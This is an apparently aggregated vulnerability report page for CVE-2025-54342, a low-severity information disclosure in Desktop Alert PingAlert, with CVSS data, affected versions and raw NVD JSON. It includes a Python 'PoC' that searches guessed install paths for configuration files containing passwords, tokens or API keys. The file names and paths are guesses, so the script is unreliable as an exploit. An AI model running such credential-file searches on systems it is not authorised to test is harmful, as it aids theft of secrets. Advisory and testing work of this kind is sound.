Security Vulnerability Report
中文
CVE-2025-54342 CVSS 3.3 LOW

CVE-2025-54342

Published: 2025-11-14 18:15:48
Last Modified: 2025-11-19 21:28:52

Description

A vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2. There is Exposure of Sensitive Information because of Incompatible Policies.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:desktopalert:pingalert_application_server:*:*:*:*:*:*:*:* - VULNERABLE
Desktop Alert PingAlert 6.1.0.11
Desktop Alert PingAlert 6.1.1.0
Desktop Alert PingAlert 6.1.1.1
Desktop Alert PingAlert 6.1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54342 PoC - Desktop Alert PingAlert Information Disclosure # This PoC demonstrates accessing sensitive configuration files import os import json def check_vulnerable_version(): """Check if Desktop Alert PingAlert version is vulnerable""" # Common installation paths paths = [ r'C:\Program Files\Desktop Alert\PingAlert', r'C:\Program Files (x86)\Desktop Alert\PingAlert', r'C:\ProgramData\Desktop Alert\PingAlert' ] vulnerable_files = [] for path in paths: if os.path.exists(path): # Check for configuration files that might expose sensitive info config_files = [ 'config.xml', 'settings.xml', 'credentials.dat', 'connection.config', 'app.conf', 'secrets.json' ] for config_file in config_files: full_path = os.path.join(path, config_file) if os.path.exists(full_path): try: with open(full_path, 'r', encoding='utf-8') as f: content = f.read() # Check for sensitive patterns sensitive_patterns = ['password', 'api_key', 'token', 'secret', 'connection_string'] for pattern in sensitive_patterns: if pattern.lower() in content.lower(): vulnerable_files.append({ 'file': full_path, 'pattern': pattern, 'accessible': True }) except Exception as e: pass return vulnerable_files def main(): print("CVE-2025-54342 Desktop Alert PingAlert - Information Disclosure Test") print("=" * 70) results = check_vulnerable_version() if results: print("[!] Vulnerable configuration files found:") for result in results: print(f" File: {result['file']}") print(f" Contains sensitive pattern: {result['pattern']}") print() else: print("[+] No vulnerable files found or system not affected") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54342", "sourceIdentifier": "[email protected]", "published": "2025-11-14T18:15:48.410", "lastModified": "2025-11-19T21:28:51.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2. There is Exposure of Sensitive Information because of Incompatible Policies."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:desktopalert:pingalert_application_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0.11", "versionEndExcluding": "6.1.1.4", "matchCriteriaId": "3CE54623-DECB-4213-B299-40AAE561D3E2"}]}]}], "references": [{"url": "https://desktopalert.net", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://desktopalert.net/cve-2025-54342/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}